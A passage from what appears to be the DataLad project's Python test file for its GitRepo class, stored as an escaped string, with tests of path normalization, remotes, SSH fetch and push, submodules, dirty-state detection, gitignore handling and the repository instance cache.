%s\\\" % result)\\n\\n # result = _normalize_path(gr.path, op.join('.', 'testfile'))\\n # eq_(result, \\\"testfile\\\", \\\"_normalize_path() returned %s\\\" % result)\\n #\\n # result = _normalize_path(gr.path, op.join('testdir', '..', 'testfile'))\\n # eq_(result, \\\"testfile\\\", \\\"_normalize_path() returned %s\\\" % result)\\n # Note: By now, normpath within normalize_paths() is disabled, therefore\\n # disable these tests.\\n\\n result = _normalize_path(gr.path, op.join('testdir', 'testfile'))\\n eq_(result, op.join(\\\"testdir\\\", \\\"testfile\\\"), \\\"_normalize_path() returned %s\\\" % result)\\n\\n result = _normalize_path(gr.path, op.join(git_path, \\\"testfile\\\"))\\n eq_(result, \\\"testfile\\\", \\\"_normalize_path() returned %s\\\" % result)\\n\\n # now we are inside, so\\n # OLD PHILOSOPHY: relative paths are relative to cwd and have\\n # to be converted to be relative to annex_path\\n # NEW PHILOSOPHY: still relative to repo! unless starts with . (curdir) or .. (pardir)\\n with chpwd(op.join(git_path, 'd1', 'd2')):\\n\\n result = _normalize_path(gr.path, \\\"testfile\\\")\\n eq_(result, 'testfile', \\\"_normalize_path() returned %s\\\" % result)\\n\\n # if not joined as directory name but just a prefix to the filename, should\\n # behave correctly\\n for d in (op.curdir, op.pardir):\\n result = _normalize_path(gr.path, d + \\\"testfile\\\")\\n eq_(result, d + 'testfile', \\\"_normalize_path() returned %s\\\" % result)\\n\\n result = _normalize_path(gr.path, op.join(op.curdir, \\\"testfile\\\"))\\n eq_(result, op.join('d1', 'd2', 'testfile'), \\\"_normalize_path() returned %s\\\" % result)\\n\\n result = _normalize_path(gr.path, op.join(op.pardir, 'testfile'))\\n eq_(result, op.join('d1', 'testfile'), \\\"_normalize_path() returned %s\\\" % result)\\n\\n assert_raises(FileNotInRepositoryError, _normalize_path, gr.path, op.join(git_path, '..', 'outside'))\\n\\n result = _normalize_path(gr.path, op.join(git_path, 'd1', 'testfile'))\\n eq_(result, op.join('d1', 'testfile'), \\\"_normalize_path() returned %s\\\" % result)\\n\\n\\ndef test_GitRepo_files_decorator():\\n\\n class testclass(object):\\n def __init__(self):\\n self.path = op.join('some', 'where')\\n\\n # TODO\\n # yoh: logic is alien to me below why to have two since both look identical!\\n @normalize_paths\\n def decorated_many(self, files):\\n return files\\n\\n @normalize_paths\\n def decorated_one(self, file_):\\n return file_\\n\\n test_instance = testclass()\\n\\n # When a single file passed -- single path returned\\n obscure_filename = get_most_obscure_supported_name()\\n file_to_test = op.join(test_instance.path, 'deep', obscure_filename)\\n # file doesn't exist\\n eq_(test_instance.decorated_one(file_to_test),\\n _normalize_path(test_instance.path, file_to_test))\\n eq_(test_instance.decorated_one(file_to_test),\\n _normalize_path(test_instance.path, file_to_test))\\n\\n file_to_test = obscure_filename\\n eq_(test_instance.decorated_many(file_to_test),\\n _normalize_path(test_instance.path, file_to_test))\\n eq_(test_instance.decorated_one(file_to_test),\\n _normalize_path(test_instance.path, file_to_test))\\n\\n\\n file_to_test = op.join(obscure_filename, 'beyond', 'obscure')\\n eq_(test_instance.decorated_many(file_to_test),\\n _normalize_path(test_instance.path, file_to_test))\\n\\n file_to_test = op.join(getpwd(), 'somewhere', 'else', obscure_filename)\\n assert_raises(FileNotInRepositoryError, test_instance.decorated_many,\\n file_to_test)\\n\\n # If a list passed -- list returned\\n files_to_test = ['now', op.join('a list', 'of'), 'paths']\\n expect = []\\n for item in files_to_test:\\n expect.append(_normalize_path(test_instance.path, item))\\n eq_(test_instance.decorated_many(files_to_test), expect)\\n\\n eq_(test_instance.decorated_many(''), [])\\n\\n assert_raises(ValueError, test_instance.decorated_many, 1)\\n assert_raises(ValueError, test_instance.decorated_one, 1)\\n\\n\\n@skip_if_no_network\\n@with_tempfile\\ndef test_GitRepo_remote_add(path=None):\\n gr = GitRepo(path)\\n gr.add_remote('github', 'https://github.com/datalad/testrepo--basic--r1')\\n out = gr.get_remotes()\\n assert_in('github', out)\\n eq_(len(out), 1)\\n eq_('https://github.com/datalad/testrepo--basic--r1', gr.config['remote.github.url'])\\n\\n\\n@with_tempfile\\ndef test_GitRepo_remote_remove(path=None):\\n\\n gr = GitRepo(path)\\n gr.add_remote('github', 'https://github.com/datalad/testrepo--basic--r1')\\n out = gr.get_remotes()\\n eq_(len(out), 1)\\n gr.remove_remote('github')\\n out = gr.get_remotes()\\n eq_(len(out), 0)\\n\\n\\n@with_tempfile\\ndef test_GitRepo_get_remote_url(path=None):\\n\\n gr = GitRepo(path)\\n gr.add_remote('github', 'https://github.com/datalad/testrepo--basic--r1')\\n eq_(gr.get_remote_url('github'),\\n 'https://github.com/datalad/testrepo--basic--r1')\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_GitRepo_fetch(orig_path=None, clone_path=None):\\n\\n origin = GitRepo(orig_path)\\n with open(op.join(orig_path, 'some.txt'), 'w') as f:\\n f.write(\\\"New text file.\\\")\\n origin.add('some.txt')\\n origin.commit(\\\"new file added.\\\")\\n\\n clone = GitRepo.clone(orig_path, clone_path)\\n filename = get_most_obscure_supported_name()\\n\\n origin.checkout(\\\"new_branch\\\", ['-b'])\\n with open(op.join(orig_path, filename), 'w') as f:\\n f.write(\\\"New file.\\\")\\n origin.add(filename)\\n origin.commit(\\\"new file added.\\\")\\n\\n fetched = clone.fetch(remote=DEFAULT_REMOTE)\\n # test FetchInfo list returned by fetch\\n eq_([DEFAULT_REMOTE + '/' + clone.get_active_branch(),\\n DEFAULT_REMOTE + '/new_branch'],\\n [commit['ref'] for commit in fetched])\\n\\n assert_repo_status(clone.path, annex=False)\\n assert_in(DEFAULT_REMOTE + \\\"/new_branch\\\", clone.get_remote_branches())\\n assert_in(filename, clone.get_files(DEFAULT_REMOTE + \\\"/new_branch\\\"))\\n assert_false(op.exists(op.join(clone_path, filename))) # not checked out\\n\\n # create a remote without an URL:\\n origin.add_remote('not-available', 'git://example.com/not/existing')\\n origin.config.unset('remote.not-available.url', scope='local')\\n\\n # fetch without provided URL\\n assert_raises(CommandError, origin.fetch, 'not-available')\\n\\n\\ndef _path2localsshurl(path):\\n \\\"\\\"\\\"Helper to build valid localhost SSH urls on Windows too\\\"\\\"\\\"\\n path = op.abspath(path)\\n p = Path(path)\\n if p.drive:\\n path = '/'.join(('/{}'.format(p.drive[0]),) + p.parts[1:])\\n url = \\\"ssh://datalad-test{}\\\".format(path)\\n return url\\n\\n\\n@skip_nomultiplex_ssh\\n@with_tempfile\\n@with_tempfile\\ndef test_GitRepo_ssh_fetch(remote_path=None, repo_path=None):\\n from datalad import ssh_manager\\n\\n remote_repo = GitRepo(remote_path)\\n with open(op.join(remote_path, 'some.txt'), 'w') as f:\\n f.write(\\\"New text file.\\\")\\n remote_repo.add('some.txt')\\n remote_repo.commit(\\\"new file added.\\\")\\n\\n url = _path2localsshurl(remote_path)\\n socket_path = op.join(str(ssh_manager.socket_dir),\\n get_connection_hash('datalad-test'))\\n repo = GitRepo(repo_path, create=True)\\n repo.add_remote(\\\"ssh-remote\\\", url)\\n\\n # we don't know any branches of the remote:\\n eq_([], repo.get_remote_branches())\\n\\n fetched = repo.fetch(remote=\\\"ssh-remote\\\")\\n assert_in('ssh-remote/' + DEFAULT_BRANCH,\\n [commit['ref'] for commit in fetched])\\n assert_repo_status(repo)\\n\\n # the connection is known to the SSH manager, since fetch() requested it:\\n assert_in(socket_path, list(map(str, ssh_manager._connections)))\\n # and socket was created:\\n ok_(op.exists(socket_path))\\n\\n # we actually fetched it:\\n assert_in('ssh-remote/' + DEFAULT_BRANCH,\\n repo.get_remote_branches())\\n\\n\\n@skip_nomultiplex_ssh\\n@with_tempfile\\n@with_tempfile\\ndef test_GitRepo_ssh_push(repo_path=None, remote_path=None):\\n from datalad import ssh_manager\\n\\n remote_repo = GitRepo(remote_path, create=True)\\n url = _path2localsshurl(remote_path)\\n socket_path = op.join(str(ssh_manager.socket_dir),\\n get_connection_hash('datalad-test'))\\n repo = GitRepo(repo_path, create=True)\\n repo.add_remote(\\\"ssh-remote\\\", url)\\n\\n # modify local repo:\\n repo.checkout(\\\"ssh-test\\\", ['-b'])\\n with open(op.join(repo.path, \\\"ssh_testfile.dat\\\"), \\\"w\\\") as f:\\n f.write(\\\"whatever\\\")\\n repo.add(\\\"ssh_testfile.dat\\\")\\n repo.commit(\\\"ssh_testfile.dat added.\\\")\\n\\n # file is not known to the remote yet:\\n assert_not_in(\\\"ssh_testfile.dat\\\", remote_repo.get_indexed_files())\\n\\n # push changes:\\n pushed = list(repo.push(remote=\\\"ssh-remote\\\", refspec=\\\"ssh-test\\\"))\\n # test PushInfo\\n assert_in(\\\"refs/heads/ssh-test\\\", [p['from_ref'] for p in pushed])\\n assert_in(\\\"refs/heads/ssh-test\\\", [p['to_ref'] for p in pushed])\\n\\n # the connection is known to the SSH manager, since fetch() requested it:\\n assert_in(socket_path, list(map(str, ssh_manager._connections)))\\n # and socket was created:\\n ok_(op.exists(socket_path))\\n\\n # remote now knows the changes:\\n assert_in(\\\"ssh-test\\\", remote_repo.get_branches())\\n assert_in(\\\"ssh_testfile.dat\\\", remote_repo.get_files(\\\"ssh-test\\\"))\\n\\n # amend to make it require \\\"--force\\\":\\n repo.commit(\\\"amended\\\", options=['--amend'])\\n # push without --force should yield an error:\\n res = repo.push(remote=\\\"ssh-remote\\\", refspec=\\\"ssh-test\\\")\\n assert_in_results(\\n res,\\n from_ref='refs/heads/ssh-test',\\n to_ref='refs/heads/ssh-test',\\n operations=['rejected', 'error'],\\n note='[rejected] (non-fast-forward)',\\n remote='ssh-remote',\\n )\\n # now push using force:\\n repo.push(remote=\\\"ssh-remote\\\", refspec=\\\"ssh-test\\\", force=True)\\n # correct commit message in remote:\\n assert_in(\\\"amended\\\",\\n remote_repo.format_commit(\\n '%s',\\n list(remote_repo.get_branch_commits_('ssh-test'))[-1]\\n ))\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_GitRepo_push_n_checkout(orig_path=None, clone_path=None):\\n\\n origin = GitRepo(orig_path)\\n clone = GitRepo.clone(orig_path, clone_path)\\n filename = get_most_obscure_supported_name()\\n\\n with open(op.join(clone_path, filename), 'w') as f:\\n f.write(\\\"New file.\\\")\\n clone.add(filename)\\n clone.commit(\\\"new file added.\\\")\\n # TODO: need checkout first:\\n clone.push(DEFAULT_REMOTE, '+{}:new-branch'.format(DEFAULT_BRANCH))\\n origin.checkout('new-branch')\\n ok_(op.exists(op.join(orig_path, filename)))\\n\\n\\n@with_tempfile\\n@with_tempfile\\n@with_tempfile\\ndef test_GitRepo_remote_update(path1=None, path2=None, path3=None):\\n\\n git1 = GitRepo(path1)\\n git2 = GitRepo(path2)\\n git3 = GitRepo(path3)\\n\\n git1.add_remote('git2', path2)\\n git1.add_remote('git3', path3)\\n\\n # Setting up remote 'git2'\\n with open(op.join(path2, 'masterfile'), 'w') as f:\\n f.write(\\\"git2 in master\\\")\\n git2.add('masterfile')\\n git2.commit(\\\"Add something to master.\\\")\\n git2.checkout('branch2', ['-b'])\\n with open(op.join(path2, 'branch2file'), 'w') as f:\\n f.write(\\\"git2 in branch2\\\")\\n git2.add('branch2file')\\n git2.commit(\\\"Add something to branch2.\\\")\\n\\n # Setting up remote 'git3'\\n with open(op.join(path3, 'masterfile'), 'w') as f:\\n f.write(\\\"git3 in master\\\")\\n git3.add('masterfile')\\n git3.commit(\\\"Add something to master.\\\")\\n git3.checkout('branch3', ['-b'])\\n with open(op.join(path3, 'branch3file'), 'w') as f:\\n f.write(\\\"git3 in branch3\\\")\\n git3.add('branch3file')\\n git3.commit(\\\"Add something to branch3.\\\")\\n\\n git1.update_remote()\\n\\n # checkouts are 'tests' themselves, since they'll raise CommandError\\n # if something went wrong\\n git1.checkout('branch2')\\n git1.checkout('branch3')\\n\\n branches1 = git1.get_branches()\\n eq_({'branch2', 'branch3'}, set(branches1))\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_GitRepo_get_files(src_path=None, path=None):\\n src = GitRepo(src_path)\\n for filename in ('some1.txt', 'some2.dat'):\\n with open(op.join(src_path, filename), 'w') as f:\\n f.write(filename)\\n src.add(filename)\\n src.commit('Some files')\\n\\n gr = GitRepo.clone(src.path, path)\\n # get the expected files via os for comparison:\\n os_files = set()\\n for (dirpath, dirnames, filenames) in os.walk(path):\\n rel_dir = os.path.relpath(dirpath, start=path)\\n if rel_dir.startswith(\\\".git\\\"):\\n continue\\n for file_ in filenames:\\n file_path = os.path.normpath(op.join(rel_dir, file_))\\n os_files.add(file_path)\\n\\n # get the files via GitRepo:\\n local_files = set(gr.get_files())\\n remote_files = set(gr.get_files(\\n branch=f\\\"{DEFAULT_REMOTE}/{DEFAULT_BRANCH}\\\"))\\n\\n eq_(local_files, set(gr.get_indexed_files()))\\n eq_(local_files, remote_files)\\n eq_(local_files, os_files)\\n\\n # create a different branch:\\n gr.checkout('new_branch', ['-b'])\\n filename = 'another_file.dat'\\n with open(op.join(path, filename), 'w') as f:\\n f.write(\\\"something\\\")\\n gr.add(filename)\\n gr.commit(\\\"Added.\\\")\\n\\n # now get the files again:\\n local_files = set(gr.get_files())\\n eq_(local_files, os_files.union({filename}))\\n # retrieve remote branch again, which should not have changed:\\n remote_files = set(gr.get_files(\\n branch=f\\\"{DEFAULT_REMOTE}/{DEFAULT_BRANCH}\\\"))\\n eq_(remote_files, os_files)\\n eq_(set([filename]), local_files.difference(remote_files))\\n\\n # switch back and query non-active branch:\\n gr.checkout(DEFAULT_BRANCH)\\n local_files = set(gr.get_files())\\n branch_files = set(gr.get_files(branch=\\\"new_branch\\\"))\\n eq_(set([filename]), branch_files.difference(local_files))\\n\\n\\n@with_tempfile\\n@with_tempfile(mkdir=True)\\n@with_tempfile\\ndef test_GitRepo_get_toppath(repo=None, tempdir=None, repo2=None):\\n GitRepo(repo, create=True)\\n reporeal = str(Path(repo).resolve())\\n eq_(GitRepo.get_toppath(repo, follow_up=False), reporeal)\\n eq_(GitRepo.get_toppath(repo), repo)\\n # Generate some nested directory\\n GitRepo(repo2, create=True)\\n repo2real = str(Path(repo2).resolve())\\n nested = op.join(repo2, \\\"d1\\\", \\\"d2\\\")\\n os.makedirs(nested)\\n eq_(GitRepo.get_toppath(nested, follow_up=False), repo2real)\\n eq_(GitRepo.get_toppath(nested), repo2)\\n # and if not under git, should return None\\n eq_(GitRepo.get_toppath(tempdir), None)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_GitRepo_dirty(path=None):\\n\\n repo = GitRepo(path, create=True)\\n ok_(not repo.dirty)\\n\\n # untracked file\\n with open(op.join(path, 'file1.txt'), 'w') as f:\\n f.write('whatever')\\n ok_(repo.dirty)\\n # staged file\\n repo.add('file1.txt')\\n ok_(repo.dirty)\\n # clean again\\n repo.commit(\\\"file1.txt added\\\")\\n ok_(not repo.dirty)\\n # modify to be the same\\n with open(op.join(path, 'file1.txt'), 'w') as f:\\n f.write('whatever')\\n ok_(not repo.dirty)\\n # modified file\\n with open(op.join(path, 'file1.txt'), 'w') as f:\\n f.write('something else')\\n ok_(repo.dirty)\\n # clean again\\n repo.add('file1.txt')\\n repo.commit(\\\"file1.txt modified\\\")\\n ok_(not repo.dirty)\\n\\n # An empty directory doesn't count as dirty.\\n os.mkdir(op.join(path, \\\"empty\\\"))\\n ok_(not repo.dirty)\\n # Neither does an empty directory with an otherwise empty directory.\\n os.mkdir(op.join(path, \\\"empty\\\", \\\"empty-again\\\"))\\n ok_(not repo.dirty)\\n\\n subm = GitRepo(repo.pathobj / \\\"subm\\\", create=True)\\n (subm.pathobj / \\\"subfile\\\").write_text(u\\\"\\\")\\n subm.save()\\n repo.save()\\n ok_(not repo.dirty)\\n (subm.pathobj / \\\"subfile\\\").write_text(u\\\"changed\\\")\\n ok_(repo.dirty)\\n\\n # User configuration doesn't affect .dirty's answer.\\n repo.config.set(\\\"diff.ignoreSubmodules\\\", \\\"all\\\", scope=\\\"local\\\")\\n ok_(repo.dirty)\\n # GitRepo.commit currently can't handle this setting, so remove it for the\\n # save() calls below.\\n repo.config.unset(\\\"diff.ignoreSubmodules\\\", scope=\\\"local\\\")\\n subm.save()\\n repo.save()\\n ok_(not repo.dirty)\\n\\n repo.config.set(\\\"status.showUntrackedFiles\\\", \\\"no\\\", scope=\\\"local\\\")\\n create_tree(repo.path, {\\\"untracked_dir\\\": {\\\"a\\\": \\\"a\\\"}})\\n ok_(repo.dirty)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_GitRepo_get_merge_base(src=None):\\n repo = GitRepo(src, create=True)\\n with open(op.join(src, 'file.txt'), 'w') as f:\\n f.write('load')\\n repo.add('*')\\n repo.commit('committing')\\n\\n assert_raises(ValueError, repo.get_merge_base, [])\\n branch1 = repo.get_active_branch()\\n branch1_hexsha = repo.get_hexsha()\\n eq_(len(branch1_hexsha), 40)\\n eq_(repo.get_merge_base(branch1), branch1_hexsha)\\n\\n # Let's create a detached branch\\n branch2 = \\\"_detach_\\\"\\n repo.checkout(branch2, options=[\\\"--orphan\\\"])\\n # it will have all the files\\n # Must not do: https://github.com/gitpython-developers/GitPython/issues/375\\n # repo.git_add('.')\\n repo.add('*')\\n # NOTE: fun part is that we should have at least a different commit message\\n # so it results in a different checksum ;)\\n repo.commit(\\\"committing again\\\")\\n assert(repo.get_indexed_files()) # we did commit\\n assert(repo.get_merge_base(branch1) is None)\\n assert(repo.get_merge_base([branch2, branch1]) is None)\\n\\n # Let's merge them up -- then merge base should match the master\\n repo.merge(branch1, allow_unrelated=True)\\n eq_(repo.get_merge_base(branch1), branch1_hexsha)\\n\\n # if points to some empty/non-existing branch - should also be None\\n assert(repo.get_merge_base(['nonexistent', branch2]) is None)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_GitRepo_git_get_branch_commits_(src=None):\\n\\n repo = GitRepo(src, create=True)\\n with open(op.join(src, 'file.txt'), 'w') as f:\\n f.write('load')\\n repo.add('*')\\n repo.commit('committing')\\n # go in a branch with a name that matches the file to require\\n # proper disambiguation\\n repo.call_git(['checkout', '-b', 'file.txt'])\\n\\n commits_default = list(repo.get_branch_commits_())\\n commits = list(repo.get_branch_commits_(DEFAULT_BRANCH))\\n eq_(commits, commits_default)\\n eq_(len(commits), 1)\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_get_tracking_branch(o_path=None, c_path=None):\\n src = GitRepo(o_path)\\n for filename in ('some1.txt', 'some2.dat'):\\n with open(op.join(o_path, filename), 'w') as f:\\n f.write(filename)\\n src.add(filename)\\n src.commit('Some files')\\n\\n clone = GitRepo.clone(o_path, c_path)\\n # Note, that the default branch might differ even if it is always 'master'.\\n # For direct mode annex repositories it would then be \\\"annex/direct/master\\\"\\n # for example. Therefore use whatever branch is checked out by default:\\n master_branch = clone.get_active_branch()\\n ok_(master_branch)\\n\\n eq_((DEFAULT_REMOTE, 'refs/heads/' + master_branch),\\n clone.get_tracking_branch())\\n\\n clone.checkout('new_branch', ['-b'])\\n\\n eq_((None, None), clone.get_tracking_branch())\\n\\n eq_((DEFAULT_REMOTE, 'refs/heads/' + master_branch),\\n clone.get_tracking_branch(master_branch))\\n\\n clone.checkout(master_branch, options=[\\\"--track\\\", \\\"-btopic\\\"])\\n eq_(('.', 'refs/heads/' + master_branch),\\n clone.get_tracking_branch())\\n eq_((None, None),\\n clone.get_tracking_branch(remote_only=True))\\n\\n\\n@with_tempfile\\ndef test_GitRepo_get_submodules(path=None):\\n repo = GitRepo(path, create=True)\\n\\n s_abc = GitRepo(op.join(path, \\\"s_abc\\\"), create=True)\\n s_abc.commit(msg=\\\"c s_abc\\\", options=[\\\"--allow-empty\\\"])\\n repo.save(path=\\\"s_abc\\\")\\n\\n s_xyz = GitRepo(op.join(path, \\\"s_xyz\\\"), create=True)\\n s_xyz.commit(msg=\\\"c s_xyz\\\", options=[\\\"--allow-empty\\\"])\\n repo.save(path=\\\"s_xyz\\\")\\n\\n eq_([s[\\\"gitmodule_name\\\"]\\n for s in repo.get_submodules(sorted_=True)],\\n [\\\"s_abc\\\", \\\"s_xyz\\\"])\\n\\n # Limit by path\\n eq_([s[\\\"gitmodule_name\\\"]\\n for s in repo.get_submodules(paths=[\\\"s_abc\\\"])],\\n [\\\"s_abc\\\"])\\n\\n # Pointing to a path within submodule should include it too\\n eq_([s[\\\"gitmodule_name\\\"]\\n for s in repo.get_submodules(paths=[\\\"s_abc/unrelated\\\"])],\\n [\\\"s_abc\\\"])\\n\\n # top level should list all submodules\\n eq_([s[\\\"gitmodule_name\\\"]\\n for s in repo.get_submodules(paths=[repo.path])],\\n [\\\"s_abc\\\", \\\"s_xyz\\\"])\\n\\n # Limit by non-existing/non-matching path\\n eq_([s[\\\"gitmodule_name\\\"]\\n for s in repo.get_submodules(paths=[\\\"s_unknown\\\"])],\\n [])\\n\\n\\n@with_tempfile\\ndef test_get_submodules_parent_on_unborn_branch(path=None):\\n repo = GitRepo(path, create=True)\\n subrepo = GitRepo(op.join(path, \\\"sub\\\"), create=True)\\n subrepo.commit(msg=\\\"s\\\", options=[\\\"--allow-empty\\\"])\\n repo.save(path=\\\"sub\\\")\\n eq_([s[\\\"gitmodule_name\\\"] for s in repo.get_submodules_()],\\n [\\\"sub\\\"])\\n\\n\\ndef test_to_options():\\n\\n class Some(object):\\n\\n def cmd_func(self, git_options=None, annex_options=None, options=None):\\n\\n git_options = git_options[:] if git_options else []\\n annex_options = annex_options[:] if annex_options else []\\n options = options[:] if options else []\\n\\n faked_cmd_call = ['git'] + git_options + ['annex'] + \\\\\\n annex_options + ['my_cmd'] + options\\n\\n return faked_cmd_call\\n\\n eq_(Some().cmd_func(options=to_options(m=\\\"bla\\\", force=True)),\\n ['git', 'annex', 'my_cmd', '--force', '-m', 'bla'])\\n\\n eq_(Some().cmd_func(git_options=to_options(C=\\\"/some/where\\\"),\\n annex_options=to_options(JSON=True),\\n options=to_options(unused=True)),\\n ['git', '-C', '/some/where', 'annex', '--JSON', 'my_cmd', '--unused'])\\n\\n eq_(Some().cmd_func(git_options=to_options(C=\\\"/some/where\\\", split_single_char_options=False),\\n annex_options=to_options(JSON=True),\\n options=to_options(unused=True)),\\n ['git', '-C/some/where', 'annex', '--JSON', 'my_cmd', '--unused'])\\n\\n\\ndef test_to_options_from_gitpython():\\n \\\"\\\"\\\"Imported from GitPython and modified.\\n\\n Original copyright:\\n Copyright (C) 2008, 2009 Michael Trier and contributors\\n Original license:\\n BSD 3-Clause \\\"New\\\" or \\\"Revised\\\" License\\n \\\"\\\"\\\"\\n eq_([\\\"-s\\\"], to_options(**{'s': True}))\\n eq_([\\\"-s\\\", \\\"5\\\"], to_options(**{'s': 5}))\\n eq_([], to_options(**{'s': None}))\\n\\n eq_([\\\"--max-count\\\"], to_options(**{'max_count': True}))\\n eq_([\\\"--max-count=5\\\"], to_options(**{'max_count': 5}))\\n eq_([\\\"--max-count=0\\\"], to_options(**{'max_count': 0}))\\n eq_([], to_options(**{'max_count': None}))\\n\\n # Multiple args are supported by using lists/tuples\\n eq_([\\\"-L\\\", \\\"1-3\\\", \\\"-L\\\", \\\"12-18\\\"], to_options(**{'L': ('1-3', '12-18')}))\\n eq_([\\\"-C\\\", \\\"-C\\\"], to_options(**{'C': [True, True, None, False]}))\\n\\n # order is undefined\\n res = to_options(**{'s': True, 't': True})\\n eq_({'-s', '-t'}, set(res))\\n\\n\\n@with_tempfile\\ndef test_GitRepo_count_objects(repo_path=None):\\n\\n repo = GitRepo(repo_path, create=True)\\n # test if dictionary returned\\n eq_(isinstance(repo.count_objects, dict), True)\\n # test if dictionary contains keys and values we expect\\n empty_count = {'count': 0, 'garbage': 0, 'in-pack': 0, 'packs': 0, 'prune-packable': 0,\\n 'size': 0, 'size-garbage': 0, 'size-pack': 0}\\n eq_(empty_count, repo.count_objects)\\n\\n\\n# this is simply broken on win, but less important\\n# https://github.com/datalad/datalad/issues/3639\\n@skip_if_on_windows\\n@with_tempfile\\ndef test_optimized_cloning(path=None):\\n # make test repo with one file and one commit\\n originpath = op.join(path, 'origin')\\n repo = GitRepo(originpath, create=True)\\n with open(op.join(originpath, 'test'), 'w') as f:\\n f.write('some')\\n repo.add('test')\\n repo.commit('init')\\n assert_repo_status(originpath, annex=False)\\n from glob import glob\\n\\n def _get_inodes(repo):\\n return dict(\\n [(os.path.join(*o.split(os.sep)[-2:]),\\n os.stat(o).st_ino)\\n for o in glob(os.path.join(repo.path,\\n repo.get_git_dir(repo),\\n 'objects', '*', '*'))])\\n\\n origin_inodes = _get_inodes(repo)\\n # now clone it in different ways and see what happens to the object storage\\n from datalad.support.network import get_local_file_url\\n clonepath = op.join(path, 'clone')\\n for src in (originpath, get_local_file_url(originpath, compatibility='git')):\\n clone = GitRepo.clone(url=src, path=clonepath, create=True)\\n clone_inodes = _get_inodes(clone)\\n eq_(origin_inodes, clone_inodes, msg='with src={}'.format(src))\\n rmtree(clonepath)\\n# del clone\\n# gc.collect()\\n # Note: del needed, since otherwise WeakSingletonRepo would just\\n # return the original object in second run\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_GitRepo_flyweight(path1=None, path2=None):\\n\\n import gc\\n\\n repo1 = GitRepo(path1, create=True)\\n assert_is_instance(repo1, GitRepo)\\n\\n # Due to issue 4862, we currently still require gc.collect() under unclear\\n # circumstances to get rid of an exception traceback when creating in an\\n # existing directory. That traceback references the respective function\\n # frames which in turn reference the repo instance (they are methods).\\n # Doesn't happen on all systems, though. Eventually we need to figure that\\n # out.\\n # However, still test for the refcount after gc.collect() to ensure we don't\\n # introduce new circular references and make the issue worse!\\n gc.collect()\\n\\n # As long as we don't reintroduce any circular references or produce\\n # garbage during instantiation that isn't picked up immediately, `repo1`\\n # should be the only counted reference to this instance.\\n # Note, that sys.getrefcount reports its own argument and therefore one\\n # reference too much.\\n assert_equal(1, sys.getrefcount(repo1) - 1)\\n\\n # instantiate again:\\n repo2 = GitRepo(path1, create=False)\\n assert_is_instance(repo2, GitRepo)\\n\\n # the very same object:\\n ok_(repo1 is repo2)\\n\\n # reference the same in a different way:\\n with chpwd(path1):\\n repo3 = GitRepo(op.relpath(path1, start=path2), create=False)\\n\\n # it's the same object:\\n ok_(repo1 is repo3)\\n\\n # and realpath attribute is the same, so they are still equal:\\n ok_(repo1 == repo3)\\n\\n orig_id = id(repo1)\\n\\n # Be sure we have exactly one object in memory:\\n assert_equal(1, len([o for o in gc.get_objects()\\n if isinstance(o, GitRepo) and o.path == path1]))\\n\\n # deleting one reference doesn't change anything - we still get the same\\n # thing:\\n gc.collect() # TODO: see first comment above\\n del repo1\\n ok_(repo2 is not None)\\n ok_(repo2 is repo3)\\n ok_(repo2 == repo3)\\n\\n # re-requesting still delivers the same thing:\\n repo1 = GitRepo(path1)\\n assert_equal(orig_id, id(repo1))\\n\\n # killing all references should result in the instance being gc'd and\\n # re-request yields a new object:\\n del repo1\\n del repo2\\n\\n # Killing last reference will lead to garbage collection which will call\\n # GitRepo's finalizer:\\n with swallow_logs(new_level=1) as cml:\\n del repo3\\n gc.collect() # TODO: see first comment above\\n cml.assert_logged(msg=\\\"Finalizer called on: GitRepo(%s)\\\" % path1,\\n level=\\\"Level 1\\\",\\n regex=False)\\n\\n # Flyweight is gone:\\n assert_not_in(path1, GitRepo._unique_instances.keys())\\n # gc doesn't know any instance anymore:\\n assert_equal([], [o for o in gc.get_objects()\\n if isinstance(o, GitRepo) and o.path == path1])\\n\\n # new object is created on re-request:\\n repo1 = GitRepo(path1)\\n assert_equal(1, len([o for o in gc.get_objects()\\n if isinstance(o, GitRepo) and o.path == path1]))\\n\\n\\n@with_tree(tree={'ignore-sub.me': {'a_file.txt': 'some content'},\\n 'ignore.me': 'ignored content',\\n 'dontigno.re': 'other content'})\\ndef test_GitRepo_gitignore(path=None):\\n\\n gr = GitRepo(path, create=True)\\n sub = GitRepo(op.join(path, 'ignore-sub.me'))\\n # we need to commit something, otherwise add_submodule\\n # will already refuse the submodule for having no commit\\n sub.add('a_file.txt')\\n sub.commit()\\n\\n from ..exceptions import GitIgnoreError\\n\\n with open(op.join(path, '.gitignore'), \\\"w\\\") as f:\\n f.write(\\\"*.me\\\")\\n\\n with assert_raises(GitIgnoreError) as cme:\\n gr.add('ignore.me')\\n eq_(cme.value.paths, ['ignore.me'])\\n\\n with assert_raises(GitIgnoreError) as cme:\\n gr.add(['ignore.me', 'dontigno.re', op.join('ignore-sub.me', 'a_file.txt')])\\n eq_(set(cme.value.paths), {'ignore.me', 'ignore-sub.me'})\\n\\n eq_(gr.get_gitattributes('.')['.'], {}) # nothing is recorded within .gitattributes\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_GitRepo_set_remote_url(path=None):\\n\\n gr = GitRepo(path, create=True)\\n gr.add_remote('some', 'http://example.com/.git')\\n eq_(gr.config['remote.some.url'],\\n 'http://example.com/.git')\\n # change url:\\n gr.set_remote_url('some', 'http://believe.it')\\n eq_(gr.config['remote.some.url'],\\n 'http://believe.it')\\n\\n # set push url:\\n gr.set_remote_url('some', 'ssh://whatever.ru', push=True)\\n eq_(gr.config['remote.some.pushurl'],\\n 'ssh://whatever.ru')\\n\\n # add remote without url\\n url2 = 'http://repo2.example.com/.git'\\n gr.add_remote('some-without-url', url2)\\n eq_(gr.config['remote.some-without-url.url'], url2)\\n # \\\"remove\\\" it\\n gr.config.unset('remote.some-without-url.url', scope='local')\\n with assert_raises(KeyError):\\n gr.config['remote.some-without-url.url']\\n eq_(set(gr.get_remotes()), {'some', 'some-without-url'})\\n eq_(set(gr.get_remotes(with_urls_only=True)), {'some'})\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_gitattributes(path=None):\\n gr = GitRepo(path, create=True)\\n # starts without any attributes file\\n ok_(not op.exists(op.join(gr.path, '.gitattributes')))\\n 